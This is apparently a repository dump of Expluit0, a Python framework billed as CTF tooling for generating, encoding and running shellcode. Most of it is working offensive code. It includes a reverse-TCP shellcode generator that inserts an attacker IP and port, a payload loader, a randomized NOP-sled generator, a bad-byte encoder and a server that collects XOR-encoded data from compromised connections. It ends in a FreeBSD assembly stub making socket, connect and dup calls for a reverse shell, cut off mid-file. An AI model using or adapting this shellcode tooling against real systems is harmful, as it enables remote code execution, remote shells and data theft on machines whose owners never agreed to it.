├── .gitignore ├── .gitmodules ├── AUTHORS ├── INSTALL ├── LICENSE ├── MANIFEST.in ├── README.rst ├── bin └── dummy ├── expluit0 ├── Expluit0.py ├── __init__.py ├── copyright.py ├── encoder │ ├── __init__.py │ └── pex.py ├── stub │ ├── freebsd │ │ ├── x64 │ │ │ └── sample.s │ │ └── x86 │ │ │ ├── Makefile │ │ │ ├── read.s │ │ │ ├── reverse.s │ │ │ ├── sample.s │ │ │ └── write.s │ └── linux │ │ ├── x64 │ │ └── sample.s │ │ └── x86 │ │ ├── read_jump.s │ │ ├── reverse_tcp.s │ │ └── secuinside.s └── utils │ ├── Makefile │ ├── alpha.c │ ├── scode_encoder.c │ └── scode_runner.c ├── setup.cfg ├── setup.py └── tests ├── __init__.py └── test.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Include your project-specific ignores in this file 2 | # Read about how to use .gitignore: https://help.github.com/articles/ignoring-files 3 | 4 | # Python bytecode: 5 | *.py[co] 6 | 7 | # Packaging files: 8 | *.egg* 9 | MANIFEST 10 | dist 11 | 12 | # Editor temp files: 13 | .*swp 14 | *~ 15 | 16 | # Sphinx docs: 17 | build 18 | 19 | # Object files: 20 | *.o 21 | 22 | # temp folder: 23 | temp 24 | 25 | # utils: 26 | scode_encoder 27 | scode_runner 28 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "docs"] 2 | path = docs 3 | url = git@github.com:posquit0/Expluit0-docs.git 4 | -------------------------------------------------------------------------------- /AUTHORS: -------------------------------------------------------------------------------- 1 | The Expluit0 was original created by Posquit0 in July 2012. 2 | This project forked from lifeasageek's scodeGenerator project. 3 | 4 | The following is a list of much appreciated contributors: 5 | 6 | 7 | -------------------------------------------------------------------------------- /INSTALL: -------------------------------------------------------------------------------- 1 | Requirements 2 | 3 | Python 2.6 or 2.7. 4 | 5 | 6 | Installation 7 | 8 | * Debian and Ubuntu 9 | Not supported 10 | 11 | * FreeBSD, Gentoo 12 | Not supported 13 | 14 | * Win32 15 | Not supported 16 | 17 | * Other 18 | As with other Python packages, the standard way of installing from 19 | source is: 20 | 21 | python setup.py install 22 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2012-2013 Posquit0 and individual contributors. 2 | All rights reserved. 3 | 4 | Permission is hereby granted, free of charge, to any person obtaining 5 | a copy of this software and associated documentation files (the 6 | "Software"), to deal in the Software without restriction, including 7 | without limitation the rights to use, copy, modify, merge, publish, 8 | distribute, sublicense, and/or sell copies of the Software, and to 9 | permit persons to whom the Software is furnished to do so, subject to 10 | the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be 13 | included in all copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 16 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 17 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 18 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE 19 | LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 20 | OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 21 | WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 22 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | include AUTHORS INSTALL LICENSE README.rst 2 | -------------------------------------------------------------------------------- /README.rst: -------------------------------------------------------------------------------- 1 | ============== 2 | Expluit0 0.4.2 3 | ============== 4 | 5 | :authors: posquit0.bj@gmail.com 6 | 7 | 8 | What is this? 9 | ============= 10 | 11 | Expluit0 is a framework for CTF(Capture The Flag). It is used to 12 | generate ShellCode, to test ShellCode or to get more things for Exploit. 13 | 14 | It includes modules for many different purposes, including following: 15 | 16 | 17 | Installing 18 | ========== 19 | 20 | Instructions for installing this software are in INSTALL. 21 | 22 | 23 | Unit Tests 24 | ========== 25 | 26 | Some of these tests may fail if you 27 | * blabla 28 | * run them as root. 29 | 30 | 31 | Documentation and Support 32 | ========================= 33 | 34 | Examples on how to use Expluit0 APIs are located in doc/core/examples; 35 | this might ease the learning curve a little bit, since all these files 36 | are kept as short as possible. The file doc/core/howto/index.xhtml 37 | contains an index of all the core HOWTOs: this should be your starting 38 | point when looking for documentation. 39 | 40 | Help is available on the Expluit0 mailing list: 41 | 42 | posquit0.bj@gmail.com 43 | 44 | There is no IRC channel. 45 | 46 | 47 | Copyright 48 | ========= 49 | 50 | All of the code in this distribution is Copyright (c) 2012-2013 51 | Posquit0. 52 | 53 | Expluit0 is made available under the MIT license. The included 54 | LICENSE file describes this in detail. 55 | 56 | Warranty 57 | ======== 58 | 59 | THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND, 60 | EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE 61 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 62 | PURPOSE. THE ENTIRE RISK AS TO THE USE OF THIS SOFTWARE IS WITH YOU. 63 | 64 | IN NO EVENT WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY 65 | MODIFY AND/OR REDISTRIBUTE THE LIBRARY, BE LIABLE TO YOU FOR ANY 66 | DAMAGES, EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 67 | POSSIBILITY OF SUCH DAMAGES. 68 | 69 | Again, see the included LICENSE file for specific legal details. 70 | -------------------------------------------------------------------------------- /bin/dummy: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/posquit0/Expluit0/7d04b2ae83dd712abff4fb6f1dd91962ff64df71/bin/dummy -------------------------------------------------------------------------------- /expluit0/Expluit0.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # -*- encoding:utf-8 -*- 3 | # Written by Posquit0 4 | # It is forked from lifeasageek's scodeGenerator in PLUS 5 | 6 | # To Do List: 7 | # 1. IPv4[o] and IPv6 8 | # 2. Add Format: python[o], cpp[o], perl, java, ruby, c, php 9 | # 3. Add Shellcode: local 10 | # 4. Add OS: linux, freebsd, bsd, arm, Solaris 11 | # 5. Encoding Technic: C -> Python Porting 12 | # 6. Scode Classfication 13 | 14 | from re import findall 15 | import os 16 | import tempfile 17 | from SocketServer import TCPServer, BaseRequestHandler 18 | # SocketServer.TCPServer.allow_reuse_address = True 19 | 20 | # Temp Direcotry 21 | TEMP_DIRECTORY = "temp" 22 | 23 | # OS for Shellcode : "freebsd" or "linux" ... 24 | PLATFORM_OS_LINUX = "linux" 25 | PLATFORM_OS_FREEBSD = "freebsd" 26 | #PLATFORM_OS_WIN = "win" 27 | #PLATFORM_OS_OPENBSD = "openbsd" 28 | #PLATFORM_OS_SOLARIS = "solaris" 29 | 30 | DEFAULT_PLATFORM_OS = "linux" 31 | 32 | # Arch for Shellcode : "x86" or "x64" 33 | PLATFORM_ARCH_X86 = "x86" 34 | PLATFORM_ARCH_X64 = "x64" 35 | #PLATFORM_ARCH_ARM = "arm" 36 | #PLATFORM_ARCH_I386 = "i386" 37 | #PLATFORM_ARCH_IA64 = "ia64" 38 | #PLATFORM_ARCH_ARM64 = "arm64" 39 | #PLATFORM_ARCH_MIPS = "mips" 40 | #PLATFORM_ARCH_SPARC = "sparc" 41 | #PLATFORM_ARCH_POWERPC = "powerpc" 42 | 43 | DEFAULT_PLATFORM_ARCH = PLATFORM_ARCH_X86 44 | 45 | # Output Format : "python" or "cpp" ... 46 | FORMAT_PYTHON = "python" 47 | FORMAT_PERL = "perl" 48 | FORMAT_RUBY = "ruby" 49 | FORMAT_CPP = "cpp" 50 | 51 | DEFAULT_FORMAT = FORMAT_PYTHON 52 | 53 | class ShellCode(str): 54 | def __new__(cls, *args, **kwargs): 55 | return str.__new__(cls, *args, **kwargs) 56 | 57 | def get(self): 58 | return self 59 | 60 | def getFormat(self, outFormat=DEFAULT_FORMAT): 61 | if outFormat == FORMAT_PYTHON: 62 | sCodeStr = """sCode = ""\n""" 63 | for idx, ch in enumerate(self): 64 | if idx % 8 == 0: 65 | sCodeStr += "sCode += \"" 66 | sCodeStr += "\\x%02x" % ord(ch) 67 | if idx % 8 == 7: 68 | sCodeStr += "\"\n" 69 | 70 | if len(self) % 8 != 0: 71 | sCodeStr += "\"" 72 | 73 | return sCodeStr 74 | 75 | elif outFormat == FORMAT_CPP: 76 | sCodeStr = """char SCODE[] = ""\n""" 77 | for idx, ch in enumerate(self): 78 | if idx % 8 == 0: 79 | sCodeStr += "\"" 80 | sCodeStr += "\\x%02x" % ord(ch) 81 | if idx % 8 == 7: 82 | sCodeStr += "\"\n" 83 | 84 | if len(self) % 8 != 0: 85 | sCodeStr += "\"" 86 | 87 | sCodeStr += ";" 88 | 89 | return sCodeStr 90 | 91 | elif outFormat == FORMAT_PERL: 92 | sCodeStr = """my $sCode =\n""" 93 | for idx, ch in enumerate(self): 94 | if idx % 8 == 0: 95 | sCodeStr += "\"" 96 | sCodeStr += "\\x%02x" % ord(ch) 97 | if idx % 8 == 7: 98 | sCodeStr += "\" .\n" 99 | 100 | if len(self) % 8 != 0: 101 | sCodeStr += "\"" 102 | 103 | sCodeStr += ";" 104 | 105 | return sCodeStr 106 | 107 | elif outFormat == FORMAT_RUBY: 108 | sCodeStr = """sCode =\n""" 109 | for idx, ch in enumerate(self): 110 | if idx % 8 == 0: 111 | sCodeStr += "\"" 112 | sCodeStr += "\\x%02x" % ord(ch) 113 | if idx % 8 == 7: 114 | sCodeStr += "\" +\n" 115 | 116 | if len(self) % 8 != 0: 117 | sCodeStr += "\"" 118 | 119 | return sCodeStr 120 | 121 | def run(self): 122 | curPath = os.path.split(os.path.abspath(__file__))[0] 123 | scodeRunner = os.path.join(curPath, "utils", "scode_runner") 124 | tempDir = os.path.join(curPath, TEMP_DIRECTORY) 125 | tempfile.tempdir = tempDir 126 | 127 | if not os.path.exists(tempDir): 128 | os.mkdir(tempDir) 129 | 130 | tempFile = tempfile.mktemp() 131 | 132 | binFile = tempFile + ".bin" 133 | print "[*] Temp File: <%s>" % tempFile 134 | 135 | open(binFile, "wb").write(self + "\x00") 136 | 137 | print "[*] Run Shellcode: %s" % (os.path.basename(binFile)) 138 | print "$ %s %s" % (os.path.basename(scodeRunner), os.path.basename(binFile)) 139 | runScode = "%s %s" % (scodeRunner, binFile) 140 | 141 | # Run Shellcode 142 | os.system(runScode) 143 | 144 | return 145 | 146 | def encode(self, *restricted): 147 | curPath = os.path.split(os.path.abspath(__file__))[0] 148 | scodeEncoder = os.path.join(curPath, "utils", "scode_encoder") 149 | tempDir = os.path.join(curPath, TEMP_DIRECTORY) 150 | tempfile.tempdir = tempDir 151 | 152 | if not os.path.exists(tempDir): 153 | os.mkdir(tempDir) 154 | 155 | tempFile = tempfile.mktemp() 156 | 157 | binFile = tempFile + ".bin" 158 | encFile = tempFile + ".enc.bin" 159 | print "[*] Temp File: <%s>" % tempFile 160 | 161 | open(binFile, "wb").write(self + "\x00") 162 | 163 | print "[*] Encode Shellcode" 164 | defaultBytes = ['0x00', '0x0d', '0x0a', '0x2f'] 165 | restrictedBytes = defaultBytes + list(restricted) 166 | print "[*] with restricted bytes:", " ".join(b for b in restrictedBytes) 167 | 168 | restrictedParam = ",".join(b for b in restrictedBytes) 169 | cmdStr = "%s %s %s > %s" % (scodeEncoder, binFile, restrictedParam, encFile) 170 | os.system(cmdStr) 171 | 172 | enc_sCode = open(encFile, "rb").read() 173 | print "[*] wrote [0x%x] [%d] bytes encoded shellcode\n" % (len(enc_sCode), len(enc_sCode)) 174 | 175 | return ShellCode(enc_sCode) 176 | 177 | 178 | class InvalidPlatformError(Exception): 179 | pass 180 | 181 | class ScodeGen(object): 182 | def __init__(self, platform=(DEFAULT_PLATFORM_OS, DEFAULT_PLATFORM_ARCH), stubFile="sample.s"): 183 | self.platform_os, self.platform_arch = platform 184 | self.stubFile = stubFile 185 | 186 | self.curPath = os.path.split(os.path.abspath(__file__))[0] 187 | # self.curPath = self.curPath.replace("\\", "/") 188 | 189 | if self.platform_os == PLATFORM_OS_FREEBSD: 190 | self.stubDir = os.path.join("stub", "freebsd") 191 | elif self.platform_os == PLATFORM_OS_LINUX: 192 | self.stubDir = os.path.join("stub", "linux") 193 | else: 194 | print "[!] Error: Platform <%s %s> is not available" % (self.platform_os, self.platform_arch) 195 | raise InvalidPlatformError 196 | 197 | if self.platform_arch == PLATFORM_ARCH_X86: 198 | self.stubDir = os.path.join(self.stubDir, "x86") 199 | elif self.platform_arch == PLATFORM_ARCH_X64: 200 | self.stubDir = os.path.join(self.stubDir, "x64") 201 | else: 202 | print "[!] Error: Platform <%s %s> is not available" % (self.platform_os, self.platform_arch) 203 | raise InvalidPlatformError 204 | 205 | self.stubDir = os.path.join(self.curPath, self.stubDir) 206 | 207 | self.tempDir = os.path.join(self.curPath, TEMP_DIRECTORY) 208 | tempfile.tempdir = self.tempDir 209 | 210 | if not os.path.exists(self.tempDir): 211 | os.mkdir(self.tempDir) 212 | 213 | self.tempFile = tempfile.mktemp() 214 | # self.tempFile = self.tempFile.replace("\\", "/") 215 | 216 | self.asmFile = self.tempFile + ".s" 217 | self.objFile = self.tempFile + ".o" 218 | self.dumpFile = self.tempFile + ".dump" 219 | self.binFile = self.tempFile + ".bin" 220 | self.encFile = self.tempFile + ".enc.bin" 221 | print "[*] Temp File: <%s>" % self.tempFile 222 | 223 | self.scodeRunner = os.path.join(self.curPath, "utils", "scode_runner") 224 | self.scodeEncoder = os.path.join(self.curPath, "utils", "scode_encoder") 225 | 226 | self._prepareStub() 227 | self.sCode = self.__loadScode() 228 | 229 | return 230 | 231 | def _prepareStub(self): 232 | print "[*] _prepareStub()" 233 | 234 | # Prepare Stub 235 | stub = open(os.path.join(self.stubDir, self.stubFile)).read() 236 | 237 | open(self.asmFile, "w").write(stub) 238 | 239 | # Compile Stub 240 | os.system("as %s -o %s" % (self.asmFile, self.objFile)) 241 | os.system("objdump -d %s > %s" % (self.objFile, self.dumpFile)) 242 | 243 | return 244 | 245 | def __loadScode(self): 246 | print "[*] __loadScode()" 247 | dump = open(self.dumpFile).read() 248 | 249 | opCodeList = findall(":\t(.*)\t", dump) 250 | sCode = "".join( 251 | opCode.decode("hex") 252 | for opCodes in opCodeList 253 | for opCode in opCodes.strip().split() 254 | ) 255 | 256 | open(self.binFile, "wb").write(sCode + "\x00") 257 | print "[*] wrote [0x%x] [%d] bytes shellcode\n" % (len(sCode), len(sCode)) 258 | 259 | return ShellCode(sCode) 260 | 261 | def run(self): 262 | print "[*] Run Shellcode: %s" % (os.path.basename(self.binFile)) 263 | print "$ %s %s" % (os.path.basename(self.scodeRunner), os.path.basename(self.binFile)) 264 | runScode = "%s %s" % (self.scodeRunner, self.binFile) 265 | 266 | # Run Shellcode 267 | os.system(runScode) 268 | 269 | return 270 | 271 | def get(self): 272 | return self.sCode 273 | 274 | def getFormat(self, outFormat=FORMAT_PYTHON): 275 | return self.sCode.getFormat(outFormat) 276 | 277 | def encode(self, *restricted): 278 | print "[*] Encode Shellcode" 279 | defaultBytes = ['0x00', '0x0d', '0x0a', '0x2f'] 280 | restrictedBytes = defaultBytes + list(restricted) 281 | print "[*] with restricted bytes:", " ".join(b for b in restrictedBytes) 282 | 283 | restrictedParam = ",".join(b for b in restrictedBytes) 284 | cmdStr = "%s %s %s > %s" % (self.scodeEncoder, self.binFile, restrictedParam, self.encFile) 285 | os.system(cmdStr) 286 | 287 | enc_sCode = open(self.encFile, "rb").read() 288 | print "[*] wrote [0x%x] [%d] bytes encoded shellcode\n" % (len(enc_sCode), len(enc_sCode)) 289 | 290 | return ShellCode(enc_sCode) 291 | 292 | class PayloadLoaderScodeGen(ScodeGen): 293 | def __init__(self, fdNum=0x04, payloadSize=0x400, platform=(DEFAULT_PLATFORM_OS, DEFAULT_PLATFORM_ARCH), stubFile="read_jump.s"): 294 | self.fdNum = fdNum 295 | self.payloadSize = payloadSize 296 | 297 | super(PayloadLoaderScodeGen, self).__init__(platform, stubFile) 298 | 299 | return 300 | 301 | def _prepareStub(self): 302 | print "[*] _prepareStub()" 303 | 304 | # Prepare Stub 305 | stub = open(os.path.join(self.stubDir, self.stubFile)).read() 306 | 307 | stub = stub.replace("{{FD_NUM}}", "0x%02x" % (self.fdNum + 1)) 308 | stub = stub.replace("{{PAYLOAD_SIZE}}", "0x%02x" % (self.payloadSize / 0x100)) 309 | 310 | open(self.asmFile, "w").write(stub) 311 | 312 | # Compile Stub 313 | os.system("as %s -o %s" % (self.asmFile, self.objFile)) 314 | os.system("objdump -d %s > %s" % (self.objFile, self.dumpFile)) 315 | 316 | return 317 | 318 | class ReverseConnectionScodeGen(ScodeGen): 319 | def __init__(self, ipAddr, portNum, platform=(DEFAULT_PLATFORM_OS, DEFAULT_PLATFORM_ARCH), stubFile="reverse_tcp.s"): 320 | self.ipAddr = ipAddr 321 | self.portNum = portNum 322 | 323 | super(ReverseConnectionScodeGen, self).__init__(platform, stubFile) 324 | 325 | return 326 | 327 | def _prepareStub(self): 328 | print "[*] _prepareStub()" 329 | 330 | # Prepare Stub 331 | stub = open(os.path.join(self.stubDir, self.stubFile)).read() 332 | 333 | inetAddr = toInetAddr(self.ipAddr) 334 | portNum = toInetPort(self.portNum) 335 | 336 | stub = stub.replace("{{IP_ADDR}}", "0x%s" % inetAddr) 337 | stub = stub.replace("{{PORT}}", portNum) 338 | 339 | open(self.asmFile, "w").write(stub) 340 | 341 | # Compile Stub 342 | os.system("as %s -o %s" % (self.asmFile, self.objFile)) 343 | os.system("objdump -d %s > %s" % (self.objFile, self.dumpFile)) 344 | 345 | return 346 | 347 | 348 | class ReadScodeGen(ScodeGen): 349 | def __init__(self, keyFile, keySize, ipAddr, portNum, xorValue=0x77, platform=(DEFAULT_PLATFORM_OS, DEFAULT_PLATFORM_ARCH), stubFile="sample.s"): 350 | self.keyFile = keyFile 351 | self.keySize = keySize 352 | self.ipAddr = ipAddr 353 | self.portNum = portNum 354 | self.xorValue = xorValue 355 | 356 | super(ReadScodeGen, self).__init__(platform, stubFile) 357 | 358 | return 359 | 360 | def _prepareStub(self): 361 | print "[*] _prepareStub()" 362 | 363 | # Prepare Stub 364 | stub = open("%s/%s" % (self.stubDir, self.stubFile)).read() 365 | 366 | open(self.asmFile, "w").write(stub) 367 | 368 | # Compile Stub 369 | os.system("as %s -o %s" % (self.asmFile, self.objFile)) 370 | os.system("objdump -d %s > %s" % (self.objFile, self.dumpFile)) 371 | return 372 | 373 | class SecuInsideScodeGen(ReverseConnectionScodeGen): 374 | def __init__(self, ipAddr, portNum, platform=(DEFAULT_PLATFORM_OS, DEFAULT_PLATFORM_ARCH), stubFile="secuinside.s"): 375 | super(SecuInsideScodeGen, self).__init__(ipAddr, portNum, platform, stubFile) 376 | 377 | return 378 | 379 | def _prepareStub(self): 380 | print "[*] _prepareStub()" 381 | 382 | # Prepare Stub 383 | stub = open(os.path.join(self.stubDir, self.stubFile)).read() 384 | 385 | inetAddr = toInetAddr(self.ipAddr) 386 | portNum = toInetPort(self.portNum) 387 | 388 | stub = stub.replace("{{IP_ADDR}}", "0x%s" % inetAddr) 389 | stub = stub.replace("{{PORT}}", portNum) 390 | 391 | open(self.asmFile, "w").write(stub) 392 | 393 | # Compile Stub 394 | os.system("as %s -o %s" % (self.asmFile, self.objFile)) 395 | os.system("objdump -d %s > %s" % (self.objFile, self.dumpFile)) 396 | 397 | return 398 | 399 | 400 | class KeyServer(TCPServer): 401 | allow_reuse_address = True 402 | 403 | 404 | class KeyHandler(BaseRequestHandler): 405 | xorValue = 0x77 406 | isDaemon = False 407 | 408 | def handle(self): 409 | while self.isDaemon: 410 | # self.request is the TCP socket connected to the client 411 | conn = self.request 412 | encData = conn.recv(1024).strip() 413 | 414 | if encData == "": 415 | conn.close() 416 | return 417 | 418 | decData = "".join( 419 | chr(ord(ch) ^ self.xorValue) for ch in encData 420 | ) 421 | 422 | ipAddr = self.client_address[0] 423 | portNum = self.client_address[1] 424 | 425 | logStr = "[From %s : %s] XOR %02x\n" % (ipAddr, portNum, self.xorValue) 426 | logStr += "[ENC] %s\n" % encData 427 | logStr += "[DEC] %s\n" % decData 428 | print logStr 429 | 430 | # auth() need to be override :D 431 | self.auth() 432 | 433 | return 434 | 435 | def auth(self): 436 | return 437 | 438 | 439 | def toInetAddr(ipAddr): 440 | inetTable = [ 441 | "%02x" % int(x) for x in ipAddr.split(".") 442 | ] 443 | 444 | inetTable.reverse() 445 | inetAddr = "".join(inetTable) 446 | 447 | return inetAddr 448 | 449 | def fromInetAddr(inetAddr): 450 | inetAddrNum = int(inetAddr, 16) 451 | inetTable = [] 452 | 453 | while inetAddrNum: 454 | inetTable.append(str(inetAddrNum % 256)) 455 | inetAddrNum /= 256 456 | 457 | ipAddr = ".".join( 458 | inetTable 459 | ) 460 | 461 | return ipAddr 462 | 463 | def toInetPort(portNum): 464 | inetPort = 0 465 | inetPort += (portNum & 0xFF) << 8 466 | inetPort += (portNum & 0xFF00) >> 8 467 | inetPort = "%04x" % inetPort 468 | 469 | return inetPort 470 | 471 | def fromInetPort(inetPort): 472 | inetPortNum = int(inetPort, 16) 473 | 474 | portNum = 0 475 | portNum += (inetPortNum & 0xFF) << 8 476 | portNum += (inetPortNum & 0xFF00) >> 8 477 | 478 | return portNum 479 | 480 | if __name__ == '__main__': 481 | import optparse 482 | from sys import argv 483 | 484 | # For the future. 485 | # Banner 486 | print "Expluit0" 487 | print "by Posquit0 " 488 | 489 | 490 | # Configure the command line parser 491 | 492 | # Parse the command line arguments 493 | -------------------------------------------------------------------------------- /expluit0/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | """ 3 | This package provides an exploit framework for your CTF. 4 | 5 | Usage 6 | ===== 7 | 8 | To be updated at the future. 9 | """ 10 | 11 | __authors__ = "Posquit0.BJ" 12 | __license__ = "MIT" 13 | __docformat__ = "restructuredtext en" 14 | -------------------------------------------------------------------------------- /expluit0/copyright.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) Posquit0. 2 | # See LICENSE for details. 3 | 4 | """ 5 | Copyright information for Expluit0. 6 | """ 7 | 8 | from __future__ import division, absolute_import 9 | 10 | #from expluit0 import __version__ as version, version as longversion 11 | 12 | #longversion = str(longversion) 13 | 14 | copyright="""\ 15 | Copyright (c) 2012-2013 Posquit0. 16 | See LICENSE for details.""" 17 | 18 | disclaimer=''' 19 | Expluit0, the Framework of Your CTF 20 | %s 21 | 22 | Permission is hereby granted, free of charge, to any person obtaining 23 | a copy of this software and associated documentation files (the 24 | "Software"), to deal in the Software without restriction, including 25 | without limitation the rights to use, copy, modify, merge, publish, 26 | distribute, sublicense, and/or sell copies of the Software, and to 27 | permit persons to whom the Software is furnished to do so, subject to 28 | the following conditions: 29 | 30 | The above copyright notice and this permission notice shall be 31 | included in all copies or substantial portions of the Software. 32 | 33 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 34 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 35 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND 36 | NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE 37 | LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 38 | OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION 39 | WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. 40 | 41 | ''' % (copyright,) 42 | 43 | -------------------------------------------------------------------------------- /expluit0/encoder/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/posquit0/Expluit0/7d04b2ae83dd712abff4fb6f1dd91962ff64df71/expluit0/encoder/__init__.py -------------------------------------------------------------------------------- /expluit0/encoder/pex.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | import random 3 | 4 | NOPS = [ 5 | ["\x90", [ 'nop'], ], # nop 6 | ["\x97", ['eax', 'edi'], ], # xchg eax,edi 7 | ["\x96", ['eax', 'esi'], ], # xchg eax,esi 8 | ["\x95", ['eax', 'ebp'], ], # xchg eax,ebp 9 | ["\x93", ['eax', 'ebx'], ], # xchg eax,ebx 10 | ["\x92", ['eax', 'edx'], ], # xchg eax,edx 11 | ["\x91", ['eax', 'ecx'], ], # xchg eax,ecx 12 | ["\x99", ['edx'], ], # cdq 13 | ["\x4d", ['ebp'], ], # dec ebp 14 | ["\x48", ['eax'], ], # dec eax 15 | ["\x47", ['edi'], ], # inc edi 16 | ["\x4f", ['edi'], ], # dec edi 17 | ["\x40", ['eax'], ], # inc eax 18 | ["\x41", ['ecx'], ], # inc ecx 19 | ["\x37", ['eax'], ], # aaa 20 | ["\x3f", ['eax'], ], # aas 21 | ["\x27", ['eax'], ], # daa 22 | ["\x2f", ['eax'], ], # das 23 | ["\x46", ['esi'], ], # inc esi 24 | ["\x4e", ['esi'], ], # dec esi 25 | 26 | #flag foo fixme 27 | #direction flag should be ok to change 28 | ["\xfc", [ ], ], # cld 29 | ["\xfd", [ ], ], # std 30 | #carry flag should be ok to change 31 | ["\xf8", [ ], ], # clc 32 | ["\xf9", [ ], ], # stc 33 | ["\xf5", [ ], ], # cmc 34 | 35 | ["\x98", ['eax'], ], # cwde 36 | ["\x9f", ['eax'], ], # lahf 37 | ["\x4a", ['edx'], ], # dec edx 38 | ["\x44", ['esp'], ], # inc esp 39 | ["\x42", ['edx'], ], # inc edx 40 | ["\x43", ['ebx'], ], # inc ebx 41 | ["\x49", ['ecx'], ], # dec ecx 42 | ["\x4b", ['ebx'], ], # dec ebx 43 | ["\x45", ['ebp'], ], # inc ebp 44 | ["\x4c", ['esp'], ], # dec esp 45 | ["\x9b", [ ], ], # wait 46 | ["\x60", ['esp'], ], # pusha 47 | ["\x0e", ['esp'], ], # push cs 48 | ["\x1e", ['esp'], ], # push ds 49 | ["\x50", ['esp'], ], # push eax 50 | ["\x55", ['esp'], ], # push ebp 51 | ["\x53", ['esp'], ], # push ebx 52 | ["\x51", ['esp'], ], # push ecx 53 | ["\x57", ['esp'], ], # push edi 54 | ["\x52", ['esp'], ], # push edx 55 | ["\x06", ['esp'], ], # push es 56 | ["\x56", ['esp'], ], # push esi 57 | ["\x54", ['esp'], ], # push esp 58 | ["\x16", ['esp'], ], # push ss 59 | ["\x58", ['esp', 'eax'], ], # pop eax 60 | ["\x5d", ['esp', 'ebp'], ], # pop ebp 61 | ["\x5b", ['esp', 'ebx'], ], # pop ebx 62 | ["\x59", ['esp', 'ecx'], ], # pop ecx 63 | ["\x5f", ['esp', 'edi'], ], # pop edi 64 | ["\x5a", ['esp', 'edx'], ], # pop edx 65 | ["\x5e", ['esp', 'esi'], ], # pop esi 66 | ["\xd6", ['eax'], ], # salc 67 | ] 68 | 69 | def NopGenerator( length): 70 | nops = [x[0] for x in NOPS] 71 | nopsled = "" 72 | for i in range(length): 73 | nopsled += random.choice(nops) 74 | return nopsled 75 | 76 | def nopInPython(nopsled): 77 | return 78 | 79 | def nopInC(nopsled): 80 | nopCodes = "// total %d (0x%x) bytes\n" % (len(nopsled), len(nopsled)) 81 | nopCodes += "unsigned char NOP[] = \n" 82 | for i in range(0, len(nopsled), 8): 83 | nopCodes += "\"" 84 | nopCodes += "\\x" + "\\x".join( ["%02x" % ord(x) for x in nopsled[i:i+8]]) 85 | nopCodes += "\"\n" 86 | nopCodes = nopCodes[:-1] + ";\n" 87 | return nopCodes 88 | 89 | if __name__ == "__main__": 90 | #print NOPS 91 | nopsled = NopGenerator( 0x80) 92 | print nopInC(nopsled) 93 | 94 | -------------------------------------------------------------------------------- /expluit0/stub/freebsd/x64/sample.s: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/posquit0/Expluit0/7d04b2ae83dd712abff4fb6f1dd91962ff64df71/expluit0/stub/freebsd/x64/sample.s -------------------------------------------------------------------------------- /expluit0/stub/freebsd/x86/Makefile: -------------------------------------------------------------------------------- 1 | all: write 2 | all: write read 3 | 4 | write: write.s 5 | as write.s -o write.o 6 | objdump -d ./write.o > write.dump 7 | read: read.s 8 | as read.s -o read.o 9 | objdump -d ./read.o > read.dump 10 | 11 | clean: 12 | rm -f ./write.o ./write.dump ./write.bin ./write.enc.bin 13 | rm -f ./read.o ./read.dump ./read.bin ./read.enc.bin 14 | 15 | -------------------------------------------------------------------------------- /expluit0/stub/freebsd/x86/read.s: -------------------------------------------------------------------------------- 1 | 2 | #socket( 2,1,0) 3 | #socket( 10,1,0) 4 | socket: 5 | pushl $97 6 | popl %eax 7 | cdq 8 | pushl %edx # 0 9 | incl %edx 10 | pushl %edx # 1 11 | 12 | pushl $0x1c #AF_INET6 13 | xorl %ecx, %ecx 14 | movb $0x60, %cl 15 | pushl %ecx # interface id 16 | 17 | int $0x80 18 | 19 | connect: 20 | pushl $0x11111114 21 | pushl $0x11111113 22 | pushl $0x11111112 23 | pushl $0x11111111 24 | 25 | xorl %ecx, %ecx 26 | pushl %ecx # flowinfo 27 | 28 | pushl $0xbfbf1cbc # port number 29 | 30 | movl %esp, %ecx 31 | pushl $0x1c # size 32 | pushl %ecx # sockaddr *data 33 | pushl %eax # socket 34 | pushl %ecx 35 | 36 | xchg %ebx, %eax 37 | 38 | pushl $98 39 | popl %eax 40 | int $0x80 41 | 42 | dup: 43 | pushl $0x2 44 | popl %ecx 45 | 46 | dup_loop: 47 | pushl $0x5a 48 | popl %eax 49 | pushl %edx 50 | pushl %ebx 51 | 52 | pushl 